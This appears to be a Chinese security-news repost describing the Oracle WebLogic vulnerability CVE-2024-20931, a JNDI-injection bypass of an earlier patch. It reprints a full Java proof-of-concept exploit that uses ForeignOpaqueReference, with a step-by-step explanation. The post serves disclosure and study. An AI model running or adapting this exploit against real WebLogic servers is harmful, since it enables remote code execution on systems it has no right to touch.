CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞

admin 2024年2月2日19:29:50评论80 views字数 2314阅读7分42秒阅读模式

CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞

在Oracle官方最新发布的2024年1月补丁中,成功修复了一个基于Weblogic T3IIOP协议的远程命令执行漏洞CVE-2024-20931。

CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞

此漏洞在2023年10月向Oracle报告的,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。

CVE-2023-21839漏洞概述

当WebLogic通过T3IIOP协议绑定远程对象实现了OpaqueReference接口时,进行该对象的lookup时,会调用该对象的getReferent函数进行查询。

CVE-2024-20931漏洞概述:

在WebLogic中存在一个名为ForeignOpaqueReference的对象,其getReferent函数在远程对象查询时再次发起JNDI查询,导致了JNDI注入。

目前已经公布了一个POC:

https://github.com/GlassyAmadeus/CVE-2024-20931/blob/main/CVE_2024_20931.java

package com.supeream;import weblogic.deployment.jms.ForeignOpaqueReference;import javax.naming.Context;import javax.naming.InitialContext;import java.lang.reflect.Field;import java.util.Hashtable;public class CVE_2024_209321 {    public static void main(String[] args) throws Exception {        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";        // 创建用来远程绑定对象的InitialContext        String url = "t3://127.0.0.1:7001"; // 目标机器        Hashtable env1 = new Hashtable();        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env1.put(Context.PROVIDER_URL, url); // 目标        InitialContext c = new InitialContext(env1);        // ForeignOpaqueReference的jndiEnvironment属性        Hashtable env2 = new Hashtable();        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");        env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj");        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性        ForeignOpaqueReference f = new ForeignOpaqueReference();        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f, env2);        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        String ldap = "rmi://127.0.0.1:1099/ygevmj";        remoteJNDIName.set(f, ldap);        // 远程绑定ForeignOpaqueReference对象        c.rebind("glassy", f);        // lookup查询ForeignOpaqueReference对象        try {            c.lookup("glassy");        } catch (Exception e) {        }    }}
  • 引入了weblogic.deployment.jms.ForeignOpaqueReference类,该类是利用CVE-2024-20931漏洞的关键部分,用于进行JNDI注入。

  • 创建了一个InitialContext对象,用于远程绑定对象。

  • 设置了ForeignOpaqueReference的jndiEnvironment属性,其中包含了用于JNDI注入的关键设置,如java.naming.factory.initial和datasource。

  • 设置了ForeignOpaqueReference的remoteJNDIName属性,指定了RMI服务的位置。

  • 使用InitialContext对象的rebind方法将构造的ForeignOpaqueReference对象远程绑定到WebLogic服务器上。

  • 尝试使用lookup方法查询远程绑定的ForeignOpaqueReference对象,触发JNDI注入。

文章可以参考下面这篇文章:

https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/

原文始发于微信公众号(Ots安全):CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月2日19:29:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-20931 Oracle 一个基于Weblogic T3\IIOP协议的远程命令执行漏洞https://cn-sec.com/archives/2463277.html

发表评论

匿名网友 填写信息